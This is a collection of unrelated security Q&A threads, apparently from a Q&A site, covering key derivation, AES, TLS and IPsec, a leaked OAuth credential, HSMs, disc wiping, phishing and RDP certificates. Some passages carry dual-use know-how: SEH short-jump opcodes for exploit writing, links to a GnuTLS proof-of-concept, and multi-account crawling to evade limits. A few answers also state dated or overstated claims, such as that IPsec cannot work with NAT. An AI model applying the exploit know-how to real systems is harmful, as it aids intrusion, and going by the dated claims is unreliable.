The main question is this. Do you want your user to be entering his key more, or less? The obvious answer is of course, less, and so scheme #2 is the better option.

(Also, consider running the user's password through a key-derivation function (e.g. scrypt or argon2) before using it as an encryption key.)

EDIT:

Apparently, I had misread your second option and assumed that you were using asymmetric encryption to encrypt the files. In that case, I would recommend using what I assumed you had meant.

Generate an elliptic-curve public-private key-pair.
Encrypt the private-key (symmetrically) with a user-defined password that has been run through a key-derivation function.
On encryption, use the public-key to automatically encrypt the user files without needing user input.
On decryption, the user-password is needed to derive the key to decrypt the private-key that would subsequently be used to decrypt the data.

To ensure proper confidentiality, authenticity, and integrity, I would use something like NaCl's crypto_box to implement my encryption.


Does using AES-256 encryption really grant any further security? AES-256, as far as I know, generates an 256 bit key to encrypt a message, and the 256-bit key is generated by a known algorithm starting from the password the user chooses. Since the encryption is symmetrical, though, any user inputting the same password will be able to generate an equal 256-bit key that decrypts the archive.

So how is using AES-256 safer than, say, AES-128? Doesn't an attacker just need to brute-force or use other attacks (like dictionary) in order to guess the password in both cases?

You're confusing the AES encryption with key derivation.

If you use key derivation mechanism that derives the key from a password then the effective strength of the resulting encryption is the weaker of both the encryption and key derivation step.

If your password contains less than 128-bit strength (this is equivalent to about 21 characters passwords randomly chosen from a 64 character set, or about 9-words diceware passphrase), then yes your derived key will only have at most that many bit of strength, thus AES-256 will not improve on AES-128. But if you have a stronger password, then 256-bit AES can preserve more of the strength from the original password.

Mathematically, AES-256 is harder to crack than AES-128 when used with appropriate key derivation and password generation. Although in practice, 128-bit is already practically not brute forceable, so in practice using more than 128-bit passwords is overkill for most situations. The main purpose of 256-bit passwords and AES-256 is really just to increase the security margin of the scheme if it turns out that there is a cryptographic flaw that reduces the strength of the system.

Also, there are a lot of applications of AES where the key is not just derived from a password. For example, if the key is stored in a secure cryptoprocessor/smartcard, which can enforce lock down policy by forcing delays between attempts. There are also hybrid schemes where the system generates a 256-key that is then encrypted with a password, and the encrypted key is not stored together with the data, so that opening the encryption requires an out of band header.


TLS and IPsec use cases I am currently reading about these protocols and was wondering what are the scenarios where TLS/SSL would be more useful than IPsec and vice versa?

Some sketchy ideas:

TLS is a protocol working over TCP and you already use it in many applications, like HTTPS, SMTPS, NNTP (port 563), FTPS, etc. The main use is related to HTTP, for web browsing (especially for e-commerce). In these cases, often only the server is authenticated.

You cannot use TLS, for instance, in many real-time applications, since they are not based on TCP, but on UDP.

IPsec is a level 3 protection method could be used, for example, for establishing a VPN connection, maybe among multiple company offices.
Since TCP/UDP packets are encapsulated in IP datagrams, you can use IPsec to hide some level 4 informations like session numbers or source/destination ports. IPsec can hide also the IP datagram's header itself, so you can avoid the attacker to do traffic analysis. Both things that with TLS you cannot do.

You cannot use IPsec with NAT, because the latter modifies values in the headers which interfere with the integrity checks done by IPsec.


What can an attacker do with credentials.json A few months ago I was experimenting with a project which needed to read a Google sheets page. It didn't end up going anywhere, but today I accidentally checked the project, including credentials.json into my version control. A bit of poking around on Google doesn't reveal anything obvious as far as a control for this credential.

What did I just give up?
Is it possible to revoke this credential?
How worried should I be about it?

The redacted credentials.json follows:

{
    "installed": {
        "client_id": "1xxxxxxxxxxx-xxx7xx2xxxxx5xxxxxxxxxxxxx3x5x45.apps.googleusercontent.com",
        "project_id": "quickstart-1xxxxxxxxxxxx",
        "auth_uri": "https://accounts.google.com/o/oauth2/auth",
        "token_uri": "https://oauth2.googleapis.com/token",
        "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
        "client_secret": "xxx4xx8xxxxXXXXXxxxxx3xx",
        "redirect_uris": ["urn:ietf:wg:oauth:2.0:oob", "http://localhost"]
    }
}```

The short answer is "not much" but read the reference posted by Vipul.

The json you have is the authentication credential that you create when you set up the oAuth consent page for your project.  Your application will use this to identify itself to Google and then your users will authorise that your application can access their data.  Theoretically if your application has been given access by a user then anyone with that json can impersonate your application (as the reference says) but when you set up the Client ID you also set up the redirect URL so that should prevent someone actually completing the oAuth using your credentials..

You should, if you have not done so already, go into your project and then in the project / credentials page you will see a list of all the oAuth2.0 client IDs and you will be able to delete your id.  See doc

  To delete a client ID, go to the Credentials page, check the box next
  to the ID, and then click Delete.

Aside: Posting secrets into Github and then removing them from history is tricky and yes the Google oAuth documentation isn't the easiest beast to follow.


Do search engines verify HTTPS certificates, and if so, against which CAs? Just out of curiosity, I'm wondering whether search engines attempt to validate certificates and what is their trust store. Do they accept everything regardless of certificate's trust/validity or do they only take into account pages fetched over a trusted connection with a proper certificate from a reputable CA?

An invalid certificate wouldn't stop search engine crawlers from indexing the dat from any website. However the Certificate configuration will have a significant impact on the ranking of the website in search results.


Mysql - two-way encryption of sensitive data (email addresses) outside of Apache, PHP and MySQL We store user email addresses in our database, like many other websites. While we do take pride in the security measures in place, sometimes "just enough" is just not enough.

We've begun looking into a solution which would let us store the email addresses in an encrypted format, and retrieve them in a readable format, but - and here's the catch - outside the source of our PHP code. That is, should someone ever breach our servers and retrieve our source code, our database passwords and everything to do with our business intelligence, we would like him to still have utterly useless data without the encryption algorithm.

What would be the best way to go about this, and are there any readymade solutions? We were thinking something along the lines of a php or apache module, or even a little Go program - anything compiled which would execute very fast and would be unusable if stolen because of its compiled nature.

What we want is something like this:

The emails in the database would be stored in this format

gibbweswwvsknvknsdva
sadjfoaisjdoiasjdoiasj
skdjfajsfoiajsdoij
whatever

Then, when we did this:

$email = $db -> getEmailById(30);
$email = decrypt($email);

the decrypt function would to the actual decryption, but outside php. It could call the system command and execute a binary file, whatever. But whatever decrpyt returns is the actual usable email then.

This decrypted email can then be used as the recipient of a system-sent email, or as displayed contact information on a user's profile, etc, but if the user nicks the DB somehow, all he sees is the above gibberish.

Edit:
tdammers asked why this has to be outside PHP but callable from within PHP.
Because we use the actual values of the email addresses a couple thousand times per minute, different ones at that. So our web app needs fast access to the readable values at all times, but we need to be sure that should someone grab our source code somehow or the database itself, he won't have any usable values. This can be anyone from a hacker, to a part of the code becoming exposed due to a critical bug, or a disgruntled ex-employee 5 minutes after getting fired leaving us no time to revoke his access.

"Ciphers are hard. Cryptography is hard. Ciphers are the easy part."

  --Bruce Schneier

Coming up with your own home brew algorithm for encrypting email is literally the worst mistake you could possibly make in cryptography.  I am not being hyperbolic, it is in fact the worst mistake.   The whole point of modern cryptography is that the algorithms are public so that they can be peer reviewed.  I would never consider using a private algorithm for any reason.  The key is what is secret,  and this makes the system work.

In your case. The database can be compromised and the messages can remain secure if each client used their own asymmetric key pair.  The email infrastructure just passes along the cipher text without any means of deciphering it.  This is how Enigmail works.  In fact I highly recommend using Enigmail,  why reinvent the wheel?


GnuTLS ServerHello exploit (CVE-2014-3466) - how to verify? So pretty much all of the GNUTLS world is worrying about CVE-2014-3466. I checked my Kali and it responds with this -

# apt-cache rdepends libgnutls26 | grep -v lib
Reverse Depends:
  telepathy-gabble
  qemu-kvm
  guile-gnutls
  gnutls-bin
  xxxterm
  xpp
  xfprint4
  xfce4-mailwatch-plugin
  xen-utils-4.1
  x11vnc
  wzdftpd-mod-tcl
  wzdftpd-mod-perl
  wzdftpd-back-pgsql
  wzdftpd-back-mysql
  wzdftpd
  wmbiff
  wget
  weechat-curses
  weechat-core
  webfs
  vpnc
  vlc-nox
  vino
  ucommon-utils
  totem-plugins
  telepathy-salut
  telepathy-gabble
  tdsodbc
  suricata
  sogo
  snort-pgsql
  snort-mysql
  snort
  slapd
  sipwitch-cgi
  sipwitch
  sipsak
  shishi-kdc
  shishi
  shisa
  scrollz
  samhain
  rtmpdump
  rsyslog-gnutls
  qpdfview
  qemu-system-x86
  qemu-system-sparc
  qemu-system-ppc
  qemu-system-misc
  qemu-system-mips
  qemu-system-arm
  python-pycurl-dbg
  python-pycurl
  python-preludedb
  python-prelude
  python-mailutils
  python-gtk-vnc
  python-gnutls
  proxytunnel
  printer-driver-gutenprint
  prelude-manager
  prelude-lml
  postal
  pianobar
  passing-the-hash
  pacemaker
  openvas-scanner
  openvas-manager
  openvas-cli
  openvas-administrator
  nzbget
  nullmailer
  ntfs-3g
  ngircd
  newsbeuter
  network-manager
  netatalk
  nautilus-sendto-empathy
  mutt-patched
  mutt
  msmtp-gnome
  msmtp
  mpop-gnome
  mpop
  mozilla-gtk-vnc
  minbif
  mandos-client
  mailutils-pop3d
  mailutils-mh
  mailutils-imap4d
  mailutils-comsatd
  mailutils
  macopix-gtk2
  lynx-cur
  linuxvnc
  lftp
  ldap-utils
  kildclient
  jd
  ircd-ratbox
  inspircd
  infinoted
  heartbeat
  gvncviewer
  gurlchecker
  guile-gnutls
  gtklp
  gtk-gnutella
  gsd
  gsasl
  greenbone-security-assistant
  gobby-0.5
  gnutls-bin
  gnu-smalltalk
  gnomint
  gnome-settings-daemon
  gnome-control-center
  gkrellm
  ghostscript-cups
  freetds-bin
  filezilla
  exim4-daemon-light
  exim4-daemon-heavy
  empathy
  elinks-lite
  elinks
  ekg2-remote
  ekg2-jabber
  echoping
  dsyslog
  cups
  csync2
  connman
  claws-mail-trayicon
  claws-mail-spamassassin
  claws-mail-smime-plugin
  claws-mail-pgpmime
  claws-mail-pgpinline
  claws-mail-bogofilter
  claws-mail
  charybdis
  centerim-utf8
  centerim-fribidi
  centerim
  cairo-dock-mail-plug-in
  bitlbee
  ario
  aria2
  anubis
  aiccu
  abiword

There are a few POCs around - https://github.com/azet/CVE-2014-3466_PoC/blob/master/poc.py and http://radare.today/technical-analysis-of-the-gnutls-hello-vulnerability/.

My question is other than launching the POC, how do I check for vulnerable machines? What if gnutls-cli is not present?

Typically you verify a vulnerability in three ways:

Run exploit code. Did it blow up?
Check your package manager's documentation. Do you have their version?
Check the code. Do you have the affected lines?

Since #3 is not effective for binaries, and you do not want to run exploit code, your other option is updating. I'd imagine by now that every distro has released new versions or backported patches for the GnuTLS packages, so a simple update command should identify and patch affected machines.


Converting Negative Decimal to Hex I came through a post on Offensive Security and while reading , the author stated that:

At next SEH (when using a SE Handler address that starts with a null byte), we usually will put some code to jump back.   After all, the null byte would acts as a string terminator and it does not make sense to put something after the SE Handler address (after all, you would not be able to jump to it anyway, right ?)
Typically, in a scenario like this, we want to do a short jump back… this jumpback opcode looks like this :xebxf0xffxff  (so basically, jump back 10 bytes)

So, as per my understanding, to jmp back, I have to convert the decimal value to hex (I am using this [printf "%x\n" -7] in my shell as a quick way to convert -7 to hex) then add this value to the jmp instruction \xeb.
I have 2 questions here:
1-the final format of the opcode should be \xeb\xAA\xBB\xCC\xDD (the jump instruction \xeb followed by 4 bytes), however, the author includes only 3 bytes after \xeb ? is there is a missing \xff?
2-the author states that \xeb\xf0\xff\xff jumps back 10 bytes, however, I converted it myself and found that jumping back 10 bytes should be \xeb\xf6\xff\xff instead of \xeb\xf0\xff\xff which jumps back 16 bytes ?

There are several jump opcodes; see the Intel manuals. I recommend the original 80386 manual which talks only about the 32-bit 80386, thus omitting all the extra features of ulterior CPU: this will make for a much easier, shorter read.

Go page 319 of that manual: you will see that, at the machine code level, there are no less than 21 distinct jump opcodes. The one which begins with EB is a short jump, followed by a single byte, thus allowing for a jump range of -128 to +127 bytes. The displacement is counted from the byte which immediately follows the whole instruction (the first byte after the one-byte displacement parameter), so EB 00 is a no-operation: it jumps to the instruction which follows the jump, where it would have gone anyway if there had been no jump. Similarly, EB FE is an infinite loop (jump back to itself). EB F0 jumps back 16 bytes, hence 14 bytes before the EB byte.

Note: be wary about the 16-bit/32-bit duality of x86 processors. All modern operating systems run in 32-bit mode. This changes nothing for the "short jump" we are talking about here, but it alters "near jumps" which will take a 32-bit displacement offset in 32-bit mode.


'Open course' Information Security Topics I saw this question which discussed teaching Information Security as a mandatory course, with a focus on Computer Science discipline.

I have a different challenge at hand. I want to create an Information Security course which can be offered as an "Open course" to any student in my University coming from any stream in Science or Engineering.

The goal of this course, in principle, is to give a gentle introduction to this field and promote Information Security awareness. However, the technicalities of IP-Sec, Crypto, IDS, etc. will not be suitable for my audience.

So, my questions:

What topics should be taught in this course? I need 14 modules (1 module a week, with 3 lectures (of 1 hour each) per module).

How to teach technical topics of security to non-CS students? Or maybe not teach them at all and just breeze through the terminology?

Breezing through the terminology won't help, it might be difficult for them to recall all the terms and they might not truly understand the importance without seeing practical examples. And if it is the first time it will be done, I suspect it should go well, with good review and grades. If they're not CS students, I would say you need to keep it simple. I would go with basics such as:

email security - spamming, phishing, scams;
physical security - dumpster diving, tailgating;
social engineering and how it can be used;
passwords/ passphrases and only high level hashing maybe;
OWASP, STRIDE, CIA triad, AAA (triple a);
browser security - such as how can they know if something they download is secure or not, certificates - not technical details, but basics so they can know if a site is secure, http vs https;
digital signing and encryption (not in depth, maybe its importance and something like caesar cipher they can play with so it will be fun for them, not complex stuff) and so on.

But for each of these topics, I wouldn't stick with the terminology, I would try to show them examples using images/ demos.

If it makes sense, let me know and maybe I can provide help or online resources where you can look for these kinds of topics.

There is a security certification meant to cover the basics, it's called CompTIA Security+. Of course, you don't have to take the certification. But if you look for its requirements, you will find a list of topics that might be of interest for you. It has a wide range of modules, from absolutely zero knowledge to basics for CS people. You don't have to cover the ones that seem more technical, for your purpose. The resources to learn for this certification for sure contain what you need. The best resources I can recommend you are the following:

Dariil Gibson's book - Get Certified Get Ahead,
Professor Messer videos (this one is free),
Pluralsight website - CompTIA Security+ the 501 Path (if your University provided you access to Pluralsight; or if you have Microsoft Student Partner organization at the University they might be able to provide you free access, though I cannot guarantee).

You don't have to cover all of them. I found the videos more easy going, and the Pluralsight ones more structured and concise. If you prefer to read a book, that one should be helpful.


Is client-side hashing secure during password creation when verification is still done server-side? Trying to do this to distribute the work of creating a lot of users in which their passwords are hashed. This will cause the server to do a very large amount of work. The idea is this:
(Assume encrypted traffic)
==== Creating User ====

Hash password client-side
Send username and hash(+salt) to server
Server saves it directly

=== Signing In ===

Send username and password as text
Verify password server-side. (i.e. hash the plaintext and compare to saved hash)

Is client-side hashing secure during password creation when verification is still done server-side?

For transmitting passwords for the first time it would be better to use public key cryptography:

You must derive password (never hash passwords directly) using a strong derivation function like bcrypt or at least a function of the HMAC-SHA* family. Use a random salt, of course.

Encrypt the password using the authentication service public key. It is not necessarily the HTTPS server's public key, ideally it should belong to a server in the back-end (to avoid key compromising in case of front-end server being compromised). Of course, use an existing crypto-suite, do not write it from scratch using RSA primitives (it is very risky).

The back-end server receives data encrypted with its public key. It uses its private key for decrypting it.

Stores the (derived key, salt) pair into the database.

Profit.

Note that in your security scheme, all depends on the password strength against brute-force attacks. Passwords are usually easy to crack.


TLSv1: Reason for client not sending client certificate Our BizTalk installation consists of two load balanced nodes B1 (10.137.10.1) and B2 (10.137.10.2) which process and route incoming SOAP messages.
The processing is nothing more than:

sending the SOAP request message to an external web service (WS) (out of our control),
wait for the reply
and route the response back to the original caller.

In front of the web service there is an nginx reverse proxy (RP, WS/RP: 145.21.186.179).
The connection between the BizTalk nodes (B1, B2) and the WS (or actually RP) will be HTTPS (TLSv1) with mutual/two-way authentication.
B1 works
All goes fine when messages are routed by node B1. A proper TLSv1 handshake is performed and eventually application data (the request and response message) are exchanged. See screenshot below.
Wire shark on node B1. (everything goes fine)

RP requests certificate at packet 63. (At 459 seconds mark.)
B1 answers at packet 69. (Also at 459 seconds mark.)

B2 falls silent
Messages processed by node B2 fail. We don't see a proper TLSv1 handshake. After the server requests the certificate from the client it goes silent.
Wire shark on node B2. (client goes silent after server certificate request)

RP requests certificate at packet 27. (At 96 second mark.)
B2 does not answer.
RP times out (?) and closes the connection at paket 31. (At 155 second mark.)

Question
Could you guys and girls think of one reason why this could happen? We checked the configuration on both B1 and B2 and we don't see deviations.
Also testing the connection with OpenSSL from node B2 works perfectly. Command was this:
openssl.exe s_client -connect RPHOSTNAMEHERE:443 -state -tls1 -debug -cert client_ssl.pem -key client_ssl.pem

Could this be a problem with SChannel? What would be a reason to not send the client certificate upon server request?
Also the event logs don't give us any leads.
Update #1 sharing spurious retransmision from B2 screenshot

From the Wireshark trace on B2, we see that the client is simply not responding at all; after one minute, the server grows impatient and closes the connection.

This is probably not a problem of certificate availability on B2: if SChannel simply believed that it had no appropriate certificate, then it would send back an empty Certificate handshake message. At that point, B2 perfectly knows that it is its turn to talk, so if it does not, then that means that it is occupied elsewhere.

One of the following may happen:

There are several matching certificates on B2, and the software on B2 believes itself to be "interactive"; it is thus displaying a certificate selection popup and waits for the user to choose the certificate. I have seen cases where software running as a service account would "show" a popup on a hidden desktop (not the one of the user currently logged in).
The private key is access-protected. It is possible to enable password-based access control on private keys in Windows CryptoAPI (basically, the private key is stored with password-based encryption). In that case, any access will trigger a popup requesting the password entry. For non-interactive systems, this won't go well... (see above). Note that the private key is needed for the CertificateVerify message from the client, after the Certificate and ClientKeyExchange messages, but since these three messages are all "handshake", SChannel will group them in a single record, so in that situation it would be normal not to see the Certificate and ClientKeyExchange messages.
The client is busy validating the server's certificate. Such a validation may entail talking to a lot of other systems, to gather additional intermediate CA and obtain CRL or OCSP responses. These are outgoing requests, so your network installation might block them. Try making a Wireshark trace that includes all traffic, not just the specific TCP/SSL connection; in particular, DNS requests that get no answer should be investigated.

A quick test would be to try to connect from B2 to the target server WS with Internet Explorer. IE will use SChannel (contrary to openssl.exe). Run IE with an account that has access to the expected client certificate and key. This will show you any "interactive" feature.


Can the school see what you are doing on their laptop when connected to your home WiFi? I have a school laptop, every student gets one and also gets to take it home for their work. Can they see the websites you get on when you are using your WiFi at home?

There is not enough information provided to give a clear answer, but I can tell you this.

Schools usually have pre-installed software to track laptops and to keep them in sync with the school's network. With that software, they could potentially log your browsing history remotely (even if you are on a different network), but that is not likely. The most likely way that they could easily track your browsing history from that computer is if you were on the school's network. The school's network most likely has an advanced system so it can operate a firewall that can block certain websites the school does not find appropriate. That being said, they most likely the school network would have log internet traffic of students computers on that network. Besides off that network, the only way they would be able to check your history is if:

They have software that DOES remotely send the students browsing history (as mentioned earlier, unlikely)
They have physical access to your computer. (Keep in mind they will not need credentials if your computer is not encrypted).

Bottom line is, that I would not condone searching anything on a school laptop that you would not want your school to see. However, most likely they will not go poking around as long as they do not have a reason (like using to much bandwidth on the school network).

Update:
Also having seen you asked whether your school "can see your Facebook", the answer to that is no if I am interpreting your question right. Your school cannot (by using their network) read Facebook chat messages or really anything you do on Facebook because it is encrypted using SSL (Secure Socket Layer).


Hex private ecdsa key to PEM File library I am trying to convert a raw private ecdsa key in hex format (k) to a PEM file. I searched for few hours, but couldn't find a suitable library(Python prefered). I am using python-ecdsa but I there is just a function to parse r,s out of signatures.
Do you know any library that is capable of doing that?

I found a solution now. You can simply use:

private_key = SigningKey.from_secret_exponent(k, curve=...)

After that you can call functions like priv.to_pem()


Best practices for HSM's used by test and production systems Should a test/demo/non-prod system be prohibited from using the same HSM as production? Since the same master key would be used for both test and prod it seems like it could raise eyebrows but I can't find any specific guidance around this topic.

Yes.

Sharing the same HSM(s) across multiple environments (e.g. dev, test, pre-prod, production) is the corporate equivalent of using the same password on multiple web sites.

Many large corporations periodically copy their production data into their QA/test environments.  These lower environments typically have much less stringent data access controls in place.  This means that if the same HSMs are in use in both locations, the data that had been properly protected in the production environment could possibly be improperly accessed in a non-production environment and then leaked to the outside world (or "exfiltrated", for those of you using Google to find this).  So the defense against this is to ensure that there is no possible way in which the non-production systems can access the keys that the production systems used to protect the data.  Which means separate HSM infrastructures for production and non-production.

And from a PCI perspective, if you can simply say to your auditors that your non-production environments simply have no way to access the keys used to protect the production data, that would save you more than the cost of the additional HSMs.


How to crawl a web site if content is only visible to registered accounts? I am reading abpit the attack amd defense strategies of web spiders. Assume I have sensitive information on my website, which should be protected from 3rd party web spiders.

Use case #1:

Me: I set the sensitive data only visible to registered user account. Tourist accounts cannot see them, and hence cannot crawl.
Attacker: Register an account, use the cookie to auto crawl.

Use case #2:

Me: I find the suspicious behavior (e.g., download page > some threshold) of the account in use case #1, and limit the privilege of that account.
Attacker: Register (or buy) multiple accounts, use multiple accounts to crawl from in a distributed and automatic way, so individual account looks less suspicious.

Question:

In both use cases, are the attacker's method practical?
What are the important tips to prevent these two attacks?

Bad news: Both those attacks are absolutely realistic and practical.

Even more bad news: You can't really protect against this. You can make it harder to crawl your website, but you can't make it impossible. In the end, a motivated attacker will always win.

If you settle on just making crawling harder, here are some tips:

Rate limit, both on account and on IP. But the attacker can just use even more accounts and even more IPs or just let it take more time.
Captchas! But to stop a human from solving it once, and then letting the crawler take over, you'll need to serve them often. Perhaps on every page load. That is not great. And a lot of captchas can be bypassed, by software or paid humans.
Load sensitive content dynamically using JS. This will trick dumb static crawlers who just reads the HTML as a long text string, without e.g. executing JS. There are plenty of crawlers that act like full browsers though, and this will not help against those.
Make sensitive information hard to read by e.g. putting it in images instead as text. This is a usability and accesibility nightmare, and there is nothing stopping a crawler from saving the images or even doing OCR on them. So this isn't a real solution either.

If you want to make your content safe from crawlers, the only solution is to not give access at all to people you do not trust to keep their hands off.


Can I send a Medical Record Number (MRN) via email internally? We use Office 365, which might make a difference.

Can I (legally) send an MRN, with no other demographic or health information, from me@mycompany.com to coworker@mycompany.com?

DISCLAIMER: I am not a legal expert and I strongly believe you should consult one. This answer is based on my reading of the rules. Others may read them differently.

First, note that Microsoft claims that Office 365 can be made HIPAA compliant if you have a "Business Associate Agreement" (BAA) with them. See the Microsoft Trust Center - HIPAA for details.

The HIPAA Privacy Rule explicitly lists an MRN as Protected (PHI), meaning that the Security Rule disallows sending it over an insecure system. By default, Office 365 would be considered insecure for this purpose.

However, if you have set up a BAA with Microsoft, which Microsoft's marketing literature says will make your Microsoft Office 365 be HIPAA Security Rule compliant, then sending PHI over this properly secured system would not be a problem.

NOTE: You still need to make sure that any computers or mobile devices which access the email server are set up for HIPAA compliance, but that is outside the scope of this question.


Should I blur my fingerprint when I share a picture/scan of a document containing it? When I share a picture or scan of some document containing my fingerprints, should I blur it? Or is it useless as pictures of fingerprints are of too low resolution to reproduce the original, unique fingerprint?

You may want to blur it out.  Fingerprint readers are pretty aggressive at picking up partial prints, and the way fingerprints can be easily forged there's no reason to post them publicly.

However; you need to be aware that fingerprints are not secret.  You leave usable prints on every glossy surface you touch, and duplicating them and fooling readers has been demonstrated by amateurs for decades, using several different techniques. Always take care that the fingerprint isn't your only layer of defense.  For example, if you have an iPhone with a fingerprint reader, make sure you still require a passcode to access your credit card data or password list.  You always want an additional layer of security around your more sensitive data.

The good thing about most fingerprint readers is that they require the attacker to be "local".  A foreign hacker can't trick your iPhone into believing his scan of your fingerprint.


Can /etc/passwd file be accessed on a cpanel shared hosting account? Given standard server hardening was performed, can the /etc/passwd be accessed by a shared hosting account by using PHP or Perl scripts which is executed from the public_html of the shared account?

Almost certainly.  cpanel  doesn't enforce access control and /etc/passwd is readable to everyone. /etc/shadow is the important file anyway,  this contains the password hashes and is only readable by root.


Rules for log analysis in an IDS I am working on an IDS which has brought into the view of log analysis basically. I have to detect an intruder if there are any user behaviour anomalies present in the logs. I am having problems regarding setting  rules for the Log Processing. So anybody with any suggestion about How to set the rules?

As per my answer on your other post - have a look at the anomaly detection stuff over on the Snort forums. There are many aspects you will need to consider so try building on the work they have already done.

You will need to understand 'good traffic' for your network during the 'initial tuning' phase, use whitelists and blacklists of signatures, and then build heuristic analysis if you want to alert on deviation from the norm.

This is very resource-intensive, and complex to maintain, which is why many companies now outsource this entire piece to the big managed service providers.


Wipe rewriteable optical media (CD, DVD, ...) content There are already several posts here discussing the specificities of magnetic hard disks and SSD and how to properly wipe their content:

With magnetic disk a complete overwrite of the disk content is the way to go, even like several over-writing following some defined patterns (a character, its complement, then random characters) was the historical preferred way even if it may be less sensible nowadays,
SSD has different properties making overwriting being not only less reliable but also harmful for the disk itself, so the best option remains using manufacturer's SecureErase feature.

What about wiping rewriteable optical media data?
How to securely erase rewriteable CDs and DVDs content before reuse?

A discussion on SuperUser mentions using a simple erase using any computers CD/DVD writer. Would this really erase all data present on the disk and not, for instance, act as a basic HDD reformat and limit itself to remove only some table of content while keeping the actual disk data readily available?

The DoD 5220.22-M document, which is often allegedly "quoted" for describing the 3-pass wiping on hard-disks, distinguishes the two following situations (see section 8-301):

Clearing. Clearing  is  the  process  of eradicating  the  data  on  media  before  reusing  the media in an environment that provides
an acceptable  level of protection for the data that was on the media
before clearing. All internal memory, buffer, or other reusable memory
shall be cleared to effectively deny access to previously stored
information.
Sanitization. Sanitization  is  the  process  of removing  the  data  from  media  before  reusing  the media  in  an  environment
that  does  not  provide  an acceptable level of protection for the
data that was in the  media  before  sanitizing.  IS  resources  shall
be sanitized  before  they  are  released  from  classified
information  controls  or released  for use  at  a  lower
classification level.

Sanitization will therefore very often lead to the media destruction. However, here in this post we are merely focusing on clearing.
I will share below my few findings on the subject.
Data deletion is handled by the disk writer, not the software
Disk erasing is somewhat similar to HDD's SecureErase feature mentioned in the question. Indeed, when asking a software to erase a disk, all it will do is send an ATAPI BLANK message to the disk writer's firmware, and it will be up to the firmware to handle actual data erasing and send back the operation result to the software.
However, unlike the SDD, I did not encountered any information leading to think that some writer may be more or less efficient than other to erase a rewriteable disk content.
There is two level of erasing
Some writers actually allow even more fine-grained data erasing, like per-track erasing, but as per our concern it is very interesting to note that they propose at least two erasing level:

A quick erase, used by default when erasing a disk, will only delete the disk's Table Of Content (TOC) and a few other related information, but the data themselves will remain on the disk. It seems very similar to a quick HDD formatting. I also strongly suspect that a lot of end-user software may only propose this mode.
A full erase will take a long longer since the software will instruct the firmware to go through all the disk surface to erase all data from it to turn back the disk into pristine state.

Full disk erase are efficient
My few searches did not point out any weakness to a rewriteable disk full erase. On the contrary, all forensics vendor I went through seem to limit efficiency of their products (whether it is software or hardware) to quick-erased disks.
While from a pure theoretical point-of-view one may still imagine some tiny weakness exploitable by a large and well-founded organization, as a reminder we are here in the scope of data clearance and not sanitization. For clearance goal, a full disk erase is therefore fine, the trick being to not mistakenly use a quick erase where, on the contrary, the data could be retrieved relatively easily.
How to proceed
On Unix platforms, a full disk erase can be achieved using the cdrecord tool. It can be used the following way:
cdrecord blank=all dev=/dev/scd0

blank=all: to be opposed to blank=fast, this the actual argument which will initiate the full disk erase process,
dev=/dev/scd0: to indicate the path to your disk writer device,
-force: this usefull parameter can be added to allow cdrecord to use "some tricks" which may allow to erase a disk which would not be erasable otherwise (damaged disks for instance). cdrecord manpage.


Was redirected from MS Outlook to a phishing site. Need independent opinion on whether or not my computer is compromised Hoping someone can look through the phishing HTML code I received and give me a second opinion whether or not I have been compromised. Also can anybody tell me what are telltale signs that suggests a payload exists in a site? Details (and code in pastebin link) below.

I received an e-mail from a someone I regularly e-mail with. They sent an e-mail regarding an progress communication with a hyperlink that has a data:text/html;base64 header in it.

It appears to be an obfuscated HTML page, which when decoded looks like an attempt at a google drive login page.

For some reason, Chrome auto-closed the tab whenever outlook redirected me into the page. I foolishly force opened it by going though my history. The site appears to be phishing for Google/Yahoo/etc account information and password. I did not enter any details into the site.

I only have rudimentary skills in HTML and JavaScript and as far as I can see it does not seem like arbitrary code has been executed on my browser and computer. But I'm hoping for someone to look through the decoded HTML and tell me if there are any problems before I take the nuclear option and reinstall the OS.

Note, I have spotted code that tries to identify my browser in the form of:

  // Opera 8.0+
            var isOpera = (!!window.opr && !!opr.addons) || !!window.opera || navigator.userAgent.indexOf(" OPR/") >= 0;
            // Firefox 1.0+
            var isFirefox = typeof InstallTrigger !== "undefined";
            // Safari 3.0+ "[object HTMLElementConstructor]"
            var isSafari = Object.prototype.toString.call(window.HTMLElement).indexOf("Constructor") > 0 || (function (p) { return p.toString() === "[object SafariRemoteNotification]"; })(!window["safari"] || safari.pushNotification);
            // Chrome 1+
            var isChrome = !!window.chrome && !!window.chrome.webstore;
            // Blink engine detection
            var isBlink = (isChrome || isOpera) && !!window.CSS;

            //var output = "";
            if(isFirefox == true){
              var output = "Firefox";
            }else if(isChrome == true){
              var output = "Chrome";
            }else if(isSafari == true){
              var output = "Safari";
            }else if(isOpera == true){
              var output = "Opera";
            }else if(isBlink == true){
              var output = "Blink";
            }else{var output = "Unknown";}
            document.getElementById("browser").value = output;

I see two possible scenarios of compromission through a web page:

Phishing, like this appears to be the case at first sight. If you didn't enter anything in the page, then you're okay.
Exploit. The webpage exploits a vulnerability (bug) in your web browser. If your browser is up to date and if you're not an especially high value target, this is unlikely.

So I think you're good.


Finding the reason behind an RDP Certificate Change (man in the middle attack?) I've installed some new networking equipment: firewall, switches, vlans, etc. I won't mention the brand name here, because I don't want to cause them harm by my suspicions.

Right after doing this, I was able to RDP to a server inside my LAN without being prompted for a finger print change.

One day later, however, as I try to connect to that same server, it is now prompting me to accept a new certificate because the fingerprint has changed.

I have a suspicion that the new networking equipment is trying to gather the credentials of my servers by intercepting my RDP sessions in a manner that would be otherwise transparent except for the fact that I'm being  prompt to accept a changed certificate.

How can I confirm that this finger print change's source is something that has occurred on the server I'm connecting to, and not due to the new networking equipment trying to do a man in the middle attack to catalog credentials on my network (that it should not be curious about)?

This can be narrowed down to a single device by first investigating the certificate on the server itself (access the console and RDP localhost to get the current certificate). Then, with a client computer, move farther away one network device at a time.

Once you've found the culprit, investigate the configuration: it could be a legitimate feature you have turned on by accident.


Could the Fleximobile iPhone spyware be installed on a victim's iPhone just by having them connect it to a hacked computer via USB? My computer recently got hacked and I want to know how likely it is that my non-jailbroken iPhone got hacked as well when I was charging it with my laptop.

Btw, what other ways are there to see if Fleximobile is installed on my iPhone and what other ways can Fleximobile be installed? Could it be installed without a prompt from the system?

Fleximobile site: https://www.fleximobile.com/en/shop/spy-software/spy-software-iphone-without-jailbreak/

Not sure where you got that page, but I read the whole page including their FAQ:

  How can I tell if FLEXImobile is installed on my phone?

  FLEXImobile is not a virus and must be deliberately installed onto the Target phone directly, with a unique set of steps and configurations. It will not perform any functions that were not configured by human intervention. However, it does not install any visible program menus, folders or icons. Once installed, it may only be accessed or uninstalled by equally deliberate human intervention.

